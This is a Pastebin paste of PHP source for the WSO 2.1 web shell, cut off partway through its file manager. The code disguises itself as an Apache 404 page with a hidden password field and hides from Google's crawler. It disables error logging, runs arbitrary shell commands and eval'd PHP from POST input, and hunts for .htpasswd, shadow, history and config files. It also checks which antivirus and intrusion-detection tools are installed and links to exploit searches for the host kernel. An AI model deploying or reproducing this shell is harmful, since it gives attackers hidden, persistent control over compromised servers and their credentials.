parkdream1

404 shell

Feb 17th, 2012
747
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 76.01 KB | None | 0 0
  1. <?php
  2.  
  3. /* WSO 2.1 (Web Shell by pgems.in) */
  4.  
  5. $auth_pass = "25f9e794323b453885f5181f1b624d0b";
  6.  
  7. $color = "#00ff00";
  8.  
  9. $default_action = 'FilesMan';
  10.  
  11. @define('SELF_PATH', __FILE__);
  12.  
  13. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  14.  
  15.     header('HTTP/1.0 404 Not Found');
  16.  
  17.     exit;
  18.  
  19. }
  20.  
  21. @session_start();
  22.  
  23. @error_reporting(0);
  24.  
  25. @ini_set('error_log',NULL);
  26.  
  27. @ini_set('log_errors',0);
  28.  
  29. @ini_set('max_execution_time',0);
  30.  
  31. @set_time_limit(0);
  32.  
  33. @set_magic_quotes_runtime(0);
  34.  
  35. @define('VERSION', '2.1');
  36.  
  37. if( get_magic_quotes_gpc() ) {
  38.  
  39.     function stripslashes_array($array) {
  40.  
  41.         return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  42.  
  43.     }
  44.  
  45.     $_POST = stripslashes_array($_POST);
  46.  
  47. }
  48.  
  49. function printLogin() {
  50.  
  51.     ?>
  52.  
  53. <h1>Not Found</h1>
  54.  
  55. <p>The requested URL was not found on this server.</p>
  56.  
  57. <hr>
  58.  
  59. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  60.  
  61.     <style>
  62.  
  63.         input { margin:0;background-color:#fff;border:1px solid #fff; }
  64.  
  65.     </style>
  66.  
  67.     <center>
  68.  
  69.     <form method=post>
  70.  
  71.     <input type=password name=pass>
  72.  
  73.     </form></center>
  74.  
  75.     <?php
  76.  
  77.     exit;
  78.  
  79. }
  80.  
  81. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  82.  
  83.     if( empty( $auth_pass ) ||
  84.  
  85.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  86.  
  87.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  88.  
  89.     else
  90.  
  91.         printLogin();
  92.  
  93.  
  94. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  95.  
  96.     $os = 'win';
  97.  
  98. else
  99.  
  100.     $os = 'nix';
  101.  
  102. $safe_mode = @ini_get('safe_mode');
  103.  
  104. $disable_functions = @ini_get('disable_functions');
  105.  
  106. $home_cwd = @getcwd();
  107.  
  108. if( isset( $_POST['c'] ) )
  109.  
  110.     @chdir($_POST['c']);
  111.  
  112. $cwd = @getcwd();
  113.  
  114. if( $os == 'win') {
  115.  
  116.     $home_cwd = str_replace("\\", "/", $home_cwd);
  117.  
  118.     $cwd = str_replace("\\", "/", $cwd);
  119.  
  120. }
  121.  
  122. if( $cwd[strlen($cwd)-1] != '/' )
  123.  
  124.     $cwd .= '/';
  125.  
  126.      
  127.  
  128. if($os == 'win')
  129.  
  130.     $aliases = array(
  131.  
  132.         "List Directory" => "dir",
  133.  
  134.         "Find index.php in current dir" => "dir /s /w /b index.php",
  135.  
  136.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  137.  
  138.         "Show active connections" => "netstat -an",
  139.  
  140.         "Show running services" => "net start",
  141.  
  142.         "User accounts" => "net user",
  143.  
  144.         "Show computers" => "net view",
  145.  
  146.         "ARP Table" => "arp -a",
  147.  
  148.         "IP Configuration" => "ipconfig /all"
  149.  
  150.     );
  151.  
  152. else
  153.  
  154.     $aliases = array(
  155.  
  156.          "List dir" => "ls -la",
  157.  
  158.           "list file attributes on a Linux second extended file system" => "lsattr -va",
  159.  
  160.           "Show opened ports" => "netstat -an | grep -i listen",
  161.  
  162.          "Find" => "",
  163.  
  164.           "Find all suid files" => "find / -type f -perm -04000 -ls",
  165.  
  166.           "Find suid files in current dir" => "find . -type f -perm -04000 -ls",
  167.  
  168.           "Find all sgid files" => "find / -type f -perm -02000 -ls",
  169.  
  170.           "Find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  171.  
  172.           "Find config.inc.php files" => "find / -type f -name config.inc.php",
  173.  
  174.           "Find config* files" => "find / -type f -name \"config*\"",
  175.  
  176.           "Find config* files in current dir" => "find . -type f -name \"config*\"",
  177.  
  178.           "Find all writable folders and files" => "find / -perm -2 -ls",
  179.  
  180.           "Find all writable folders and files in current dir" => "find . -perm -2 -ls",
  181.  
  182.           "Find all service.pwd files" => "find / -type f -name service.pwd",
  183.  
  184.           "Find service.pwd files in current dir" => "find . -type f -name service.pwd",
  185.  
  186.           "Find all .htpasswd files" => "find / -type f -name .htpasswd",
  187.  
  188.           "Find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  189.  
  190.           "Find all .bash_history files" => "find / -type f -name .bash_history",
  191.  
  192.           "Find .bash_history files in current dir" => "find . -type f -name .bash_history",
  193.  
  194.           "Find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  195.  
  196.           "Find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  197.  
  198.         "Locate" => "",
  199.  
  200.           "Locate httpd.conf files" => "locate httpd.conf",
  201.  
  202.           "Locate vhosts.conf files" => "locate vhosts.conf",
  203.  
  204.           "Locate proftpd.conf files" => "locate proftpd.conf",
  205.  
  206.           "Locate psybnc.conf files" => "locate psybnc.conf",
  207.  
  208.           "Locate my.conf files" => "locate my.conf",
  209.  
  210.           "Locate admin.php files" =>"locate admin.php",
  211.  
  212.           "Locate cfg.php files" => "locate cfg.php",
  213.  
  214.           "Locate conf.php files" => "locate conf.php",
  215.  
  216.           "Locate config.dat files" => "locate config.dat",
  217.  
  218.           "Locate config.php files" => "locate config.php",
  219.  
  220.           "Locate config.inc files" => "locate config.inc",
  221.  
  222.           "Locate config.inc.php" => "locate config.inc.php",
  223.  
  224.           "Locate config.default.php files" => "locate config.default.php",
  225.  
  226.           "Locate config* files " => "locate config",
  227.  
  228.           "Locate .conf files"=>"locate '.conf'",
  229.  
  230.           "Locate .pwd files" => "locate '.pwd'",
  231.  
  232.           "Locate .sql files" => "locate '.sql'",
  233.  
  234.           "Locate .htpasswd files" => "locate '.htpasswd'",
  235.  
  236.           "Locate .bash_history files" => "locate '.bash_history'",
  237.  
  238.           "Locate .mysql_history files" => "locate '.mysql_history'",
  239.  
  240.           "Locate .fetchmailrc files" => "locate '.fetchmailrc'",
  241.  
  242.           "Locate backup files" => "locate backup",
  243.  
  244.           "Locate dump files" => "locate dump",
  245.  
  246.           "Locate priv files" => "locate priv"    
  247.  
  248.     );
  249.  
  250.  
  251. function printHeader() {
  252.  
  253.     if(empty($_POST['charset']))
  254.  
  255.         $_POST['charset'] = "UTF-8";
  256.  
  257.     global $color;
  258.  
  259.     ?>
  260.  
  261. <html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?></title>
  262.  
  263. <style>
  264.  
  265.     body {background-color:#000;color:#fff;}
  266.  
  267.     body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  268.  
  269.     span,h1,a    { color:<?=$color?> !important; }
  270.  
  271.     span        { font-weight: bolder; }
  272.  
  273.     h1            { border:1px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
  274.  
  275.     div.content    { padding: 5px;margin-left:5px;}
  276.  
  277.     a            { text-decoration:none; }
  278.  
  279.     a:hover        { background:#666666; }
  280.  
  281.     .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  282.  
  283.     .bigarea    { width:100%;height:250px; }
  284.  
  285.     input, textarea, select    { margin:0;color:#00ff00;background-color:#000;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
  286.  
  287.     form        { margin:0px; }
  288.  
  289.     #toolsTbl    { text-align:center; }
  290.  
  291.     .toolsInp    { width: 80%; }
  292.  
  293.     .main th    {text-align:left;}
  294.  
  295.     .main tr:hover{background-color:#5e5e5e;}
  296.  
  297.     .main td, th{vertical-align:middle;}
  298.  
  299.     pre            {font-family:Courier,Monospace;}
  300.  
  301.     #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  302.  
  303. </style>
  304.  
  305. <script>
  306.  
  307.     function set(a,c,p1,p2,p3,charset) {
  308.  
  309.         if(a != null)document.mf.a.value=a;
  310.  
  311.         if(c != null)document.mf.c.value=c;
  312.  
  313.         if(p1 != null)document.mf.p1.value=p1;
  314.  
  315.         if(p2 != null)document.mf.p2.value=p2;
  316.  
  317.         if(p3 != null)document.mf.p3.value=p3;
  318.  
  319.         if(charset != null)document.mf.charset.value=charset;
  320.  
  321.     }
  322.  
  323.     function g(a,c,p1,p2,p3,charset) {
  324.  
  325.         set(a,c,p1,p2,p3,charset);
  326.  
  327.         document.mf.submit();
  328.  
  329.     }
  330.  
  331.     function a(a,c,p1,p2,p3,charset) {
  332.  
  333.         set(a,c,p1,p2,p3,charset);
  334.  
  335.         var params = "ajax=true";
  336.  
  337.         for(i=0;i<document.mf.elements.length;i++)
  338.  
  339.             params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  340.  
  341.         sr('<?=$_SERVER['REQUEST_URI'];?>', params);
  342.  
  343.     }
  344.  
  345.     function sr(url, params) {    
  346.  
  347.         if (window.XMLHttpRequest) {
  348.  
  349.             req = new XMLHttpRequest();
  350.  
  351.             req.onreadystatechange = processReqChange;
  352.  
  353.             req.open("POST", url, true);
  354.  
  355.             req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  356.  
  357.             req.send(params);
  358.  
  359.         }  
  360.  
  361.         else if (window.ActiveXObject) {
  362.  
  363.             req = new ActiveXObject("Microsoft.XMLHTTP");
  364.  
  365.             if (req) {
  366.  
  367.                 req.onreadystatechange = processReqChange;
  368.  
  369.                 req.open("POST", url, true);
  370.  
  371.                 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  372.  
  373.                 req.send(params);
  374.  
  375.             }
  376.  
  377.         }
  378.  
  379.     }
  380.  
  381.     function processReqChange() {
  382.  
  383.         if( (req.readyState == 4) )
  384.  
  385.             if(req.status == 200) {
  386.  
  387.                 //alert(req.responseText);
  388.  
  389.                 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  390.  
  391.                 var arr=reg.exec(req.responseText);
  392.  
  393.                 eval(arr[2].substr(0, arr[1]));
  394.  
  395.             }  
  396.  
  397.             else alert("Request error!");
  398.  
  399.     }
  400.  
  401. </script>
  402.  
  403. <head><body><div style="position:absolute;width:100%;top:0;left:0;">
  404.  
  405. <form method=post name=mf style='display:none;'>
  406.  
  407. <input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
  408.  
  409. <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  410.  
  411. <input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
  412.  
  413. <input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
  414.  
  415. <input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
  416.  
  417. <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  418.  
  419. </form>
  420.  
  421. <?php
  422.  
  423.     $serverIP=gethostbyname($_SERVER["HTTP_HOST"]);
  424.  
  425.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  426.  
  427.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  428.  
  429.     $totalSpace = $totalSpace?$totalSpace:1;
  430.  
  431.     $release = @php_uname('r');
  432.  
  433.     $kernel = @php_uname('s');
  434.  
  435. $GgLink='http://www.google.com.vn/search?aq=f&sourceid=chrome&ie=UTF-8&q=';  
  436.  
  437.     if( strpos('Linux', $kernel) !== false )
  438.  
  439. {//$millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  440.  
  441. $searchK=urlencode( 'Linux Kernel ' . substr($release,0,6) );
  442.  
  443. $Exlink='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description='.$searchK.'&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=';
  444.  
  445. $GgLink .=$searchK;
  446.  
  447. }
  448.  
  449.    else
  450.  
  451.      {
  452.  
  453.         $searchK= urlencode( $kernel . ' ' . substr($release,0,3) );
  454.  
  455. $Exlink='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description='.$searchK.'&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=';
  456.  
  457. $GgLink .=$searchK;
  458.  
  459. }
  460.  
  461.     if(!function_exists('posix_getegid')) {
  462.  
  463.         $user = @get_current_user();
  464.  
  465.         $uid = @getmyuid();
  466.  
  467.         $gid = @getmygid();
  468.  
  469.         $group = "?";
  470.  
  471.     } else {
  472.  
  473.         $uid = @posix_getpwuid(@posix_geteuid());
  474.  
  475.         $gid = @posix_getgrgid(@posix_getegid());
  476.  
  477.         $user = $uid['name'];
  478.  
  479.         $uid = $uid['uid'];
  480.  
  481.         $group = $gid['name'];
  482.  
  483.         $gid = $gid['gid'];
  484.  
  485.     }
  486.  
  487.     $cwd_links = '';
  488.  
  489.     $path = explode("/", $GLOBALS['cwd']);
  490.  
  491.     $n=count($path);
  492.  
  493.     for($i=0;$i<$n-1;$i++) {
  494.  
  495.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  496.  
  497.         for($j=0;$j<=$i;$j++)
  498.  
  499.             $cwd_links .= $path[$j].'/';
  500.  
  501.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  502.  
  503.     }
  504.  
  505.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  506.  
  507.     $opt_charsets = '';
  508.  
  509.     foreach($charsets as $item)
  510.  
  511.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  512.  
  513.     $m = array('SeCInFo'=>'SecInfo','FiLeS'=>'FiLesMan','CoNs0le'=>'Console','SqL'=>'Sql','PhP'=>'Php','SaFe MoDe'=>'SafeMode','StR1nG To0lS'=>'StringTools','BrUt3fOrCe'=>'Bruteforce','NeTw0rK'=>'Network');
  514.  
  515.     if(!empty($GLOBALS['auth_pass']))
  516.  
  517.     $m['Logout'] = 'Logout';
  518.  
  519.     $m['Self remove'] = 'SelfRemove';
  520.  
  521.     $menu = '';
  522.  
  523.     foreach($m as $k => $v)
  524.  
  525.         $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  526.  
  527.     $drives = "";
  528.  
  529.     if ($GLOBALS['os'] == 'win') {
  530.  
  531.         foreach( range('a','z') as $drive )
  532.  
  533.         if (is_dir($drive.':\\'))
  534.  
  535.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  536.  
  537.     }
  538.  
  539.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Un4m3<br>UsEr<br>Php<br>HDD<br>CwD'.($GLOBALS['os'] == 'win'?'<br>Drives':'').'</span></td>'.
  540.  
  541.          '<td>:<b><nobr>'.substr(@php_uname(), 0, 120).'  <a href="'.$GgLink.'" target="_blank">[Google]</a> <a href="'.$Exlink.'" target=_blank>[Exploit-DB]</a></nobr></b><br>:'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>:'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=<?=$color?><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>:'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>:'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>:'.$drives.'</td>'.
  542.  
  543.          '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.$serverIP.'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
  544.  
  545.          '<table cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
  546.  
  547. }
  548.  
  549.  
  550. function printFooter() {
  551.  
  552.     $is_writable = is_writable($GLOBALS['cwd'])?"<font color=red>[ Writeable ]</font>":"<font color=#fff>[ Not writable ]</font>";
  553.  
  554. ?>
  555.  
  556. </div>
  557.  
  558. <table class=info id=toolsTbl cellpadding=0 cellspacing=0 width=100%">
  559.  
  560.     <tr>
  561.  
  562.         <td><form onSubmit="g(null,this.c.value);return false;"><span>Change Dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
  563.  
  564.         <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  565.  
  566.     </tr>
  567.  
  568.     <tr>
  569.  
  570.         <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
  571.  
  572.         <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  573.  
  574.     </tr>
  575.  
  576.     <tr>
  577.  
  578.         <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  579.  
  580.         <td><form method='post' ENCTYPE='multipart/form-data'>
  581.  
  582.         <input type=hidden name=a value='FilesMAn'>
  583.  
  584.         <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
  585.  
  586.         <input type=hidden name=p1 value='uploadFile'>
  587.  
  588.         <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
  589.  
  590.         <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
  591.  
  592.     </tr>
  593.  
  594.  
  595. </table>
  596.  
  597. </div>
  598.  
  599. </body></html>
  600.  
  601. <?php
  602.  
  603. }
  604.  
  605. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  606.  
  607. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  608.  
  609. function ex($in) {
  610.  
  611.     $out = '';
  612.  
  613.     if(function_exists('exec')) {
  614.  
  615.         @exec($in,$out);
  616.  
  617.         $out = @join("\n",$out);
  618.  
  619.     }elseif(function_exists('passthru')) {
  620.  
  621.         ob_start();
  622.  
  623.         @passthru($in);
  624.  
  625.         $out = ob_get_clean();
  626.  
  627.     }elseif(function_exists('system')) {
  628.  
  629.         ob_start();
  630.  
  631.         @system($in);
  632.  
  633.         $out = ob_get_clean();
  634.  
  635.     }elseif(function_exists('shell_exec')) {
  636.  
  637.         $out = shell_exec($in);
  638.  
  639.     }elseif(is_resource($f = @popen($in,"r"))) {
  640.  
  641.         $out = "";
  642.  
  643.         while(!@feof($f))
  644.  
  645.             $out .= fread($f,1024);
  646.  
  647.         pclose($f);
  648.  
  649.     }
  650.  
  651.     return $out;
  652.  
  653. }
  654.  
  655. function viewSize($s) {
  656.  
  657.     if($s >= 1073741824)
  658.  
  659.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  660.  
  661.     elseif($s >= 1048576)
  662.  
  663.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  664.  
  665.     elseif($s >= 1024)
  666.  
  667.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  668.  
  669.     else
  670.  
  671.         return $s . ' B';
  672.  
  673. }
  674.  
  675.  
  676. function perms($p) {
  677.  
  678.     if (($p & 0xC000) == 0xC000)$i = 's';
  679.  
  680.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  681.  
  682.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  683.  
  684.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  685.  
  686.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  687.  
  688.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  689.  
  690.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  691.  
  692.     else $i = 'u';
  693.  
  694.     $i .= (($p & 0x0100) ? 'r' : '-');
  695.  
  696.     $i .= (($p & 0x0080) ? 'w' : '-');
  697.  
  698.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  699.  
  700.     $i .= (($p & 0x0020) ? 'r' : '-');
  701.  
  702.     $i .= (($p & 0x0010) ? 'w' : '-');
  703.  
  704.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  705.  
  706.     $i .= (($p & 0x0004) ? 'r' : '-');
  707.  
  708.     $i .= (($p & 0x0002) ? 'w' : '-');
  709.  
  710.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  711.  
  712.     return $i;
  713.  
  714. }
  715.  
  716. function viewPermsColor($f) {  
  717.  
  718.     if (!@is_readable($f))
  719.  
  720.         return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  721.  
  722.     elseif (!@is_writable($f))
  723.  
  724.         return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  725.  
  726.     else
  727.  
  728.         return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
  729.  
  730. }
  731.  
  732. if(!function_exists("scandir")) {
  733.  
  734.     function scandir($dir) {
  735.  
  736.         $dh  = opendir($dir);
  737.  
  738.         while (false !== ($filename = readdir($dh))) {
  739.  
  740.             $files[] = $filename;
  741.  
  742.         }
  743.  
  744.         return $files;
  745.  
  746.     }
  747.  
  748. }
  749.  
  750. function which($p) {
  751.  
  752.     $path = ex('which '.$p);
  753.  
  754.     if(!empty($path))
  755.  
  756.         return $path;
  757.  
  758.     return false;
  759.  
  760. }
  761.  
  762. function actionSecInfo() {
  763.  
  764.     printHeader();
  765.  
  766.     echo '<h1>Server Security information</h1><div class=content>';
  767.  
  768.     function showSecParam($n, $v) {
  769.  
  770.         $v = trim($v);
  771.  
  772.         if($v) {
  773.  
  774.             echo '<span>'.$n.': </span>';
  775.  
  776.             if(strpos($v, "\n") === false)
  777.  
  778.                 echo $v.'<br>';
  779.  
  780.             else
  781.  
  782.                 echo '<pre class=ml1>'.$v.'</pre>';
  783.  
  784.         }
  785.  
  786.     }
  787.  
  788.      
  789.  
  790.     showSecParam('Server software', @getenv('SERVER_SOFTWARE'));  
  791.  
  792.     showSecParam('Open base dir', @ini_get('open_basedir'));
  793.  
  794.     showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  795.  
  796.     showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  797.  
  798.     showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  799.  
  800. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'None');
  801.  
  802.     $temp=array();
  803.  
  804.     if(function_exists('mysql_get_client_info'))
  805.  
  806.         $temp[] = "MySql (".mysql_get_client_info().")";
  807.  
  808.     if(function_exists('mssql_connect'))
  809.  
  810.         $temp[] = "MSSQL";
  811.  
  812.     if(function_exists('pg_connect'))
  813.  
  814.         $temp[] = "PostgreSQL";
  815.  
  816.     if(function_exists('oci_connect'))
  817.  
  818.         $temp[] = "Oracle";
  819.  
  820.     showSecParam('Supported databases', implode(', ', $temp));
  821.  
  822.     echo '<br>';
  823.  
  824.      
  825.  
  826.     if( $GLOBALS['os'] == 'nix' ) {
  827.  
  828.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  829.  
  830.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  831.  
  832.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  833.  
  834.         showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'No');
  835.  
  836.         showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  837.  
  838.         showSecParam('OS version', @file_get_contents('/proc/version'));
  839.  
  840.         showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  841.  
  842.         if(!$GLOBALS['safe_mode']) {
  843.  
  844.             echo '<br>';
  845.  
  846.             $temp=array();
  847.  
  848.             foreach ($userful as $item)
  849.  
  850.                 if(which($item)){$temp[]=$item;}
  851.  
  852.             showSecParam('Userful', implode(', ',$temp));
  853.  
  854.             $temp=array();
  855.  
  856.             foreach ($danger as $item)
  857.  
  858.                 if(which($item)){$temp[]=$item;}
  859.  
  860.             showSecParam('Danger', implode(', ',$temp));
  861.  
  862.             $temp=array();
  863.  
  864.             foreach ($downloaders as $item)  
  865.  
  866.                 if(which($item)){$temp[]=$item;}
  867.  
  868.             showSecParam('Downloaders', implode(', ',$temp));
  869.  
  870.             echo '<br/>';
  871.  
  872.             showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  873.  
  874.             showSecParam('HDD space', ex('df -h'));
  875.  
  876.             showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  877.  
  878.         }
  879.  
  880.     } else {
  881.  
  882.         showSecParam('OS Version',ex('ver'));  
  883.  
  884.         showSecParam('Account Settings',ex('net accounts'));  
  885.  
  886.         showSecParam('User Accounts',ex('net user'));
  887.  
  888.     }
  889.  
  890.     echo '</div>';
  891.  
  892.     printFooter();
  893.  
  894. }
  895.  
  896.  
  897. function actionPhp() {
  898.  
  899.     if( isset($_POST['ajax']) ) {
  900.  
  901.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  902.  
  903.         ob_start();
  904.  
  905.         eval($_POST['p1']);
  906.  
  907.         $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  908.  
  909.         echo strlen($temp), "\n", $temp;
  910.  
  911.         exit;  
  912.  
  913.     }
  914.  
  915.     printHeader();
  916.  
  917.     if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  918.  
  919.         echo '<h1>PHP Info</h1><div class=content>';
  920.  
  921.         ob_start();
  922.  
  923.         phpinfo();
  924.  
  925.         $tmp = ob_get_clean();
  926.  
  927.         $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  928.  
  929.         $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  930.  
  931.         $tmp = preg_replace('!h1!msiU','h2',$tmp);
  932.  
  933.         $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  934.  
  935.         $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  936.  
  937.         echo $tmp;
  938.  
  939.         echo '</div><br>';
  940.  
  941.     }
  942.  
  943.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  944.  
  945.         $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  946.  
  947.         echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  948.  
  949.     echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  950.  
  951.     if(!empty($_POST['p1'])) {
  952.  
  953.         ob_start();
  954.  
  955.         eval($_POST['p1']);
  956.  
  957.         echo htmlspecialchars(ob_get_clean());
  958.  
  959.     }
  960.  
  961.     echo '</pre></div>';
  962.  
  963.     printFooter();
  964.  
  965. }
  966.  
  967.  
  968. function actionFilesMan() {
  969.  
  970.     printHeader();
  971.  
  972.     echo '<h1>File Manager</h1><div class=content>';
  973.  
  974.     if(isset($_POST['p1'])) {
  975.  
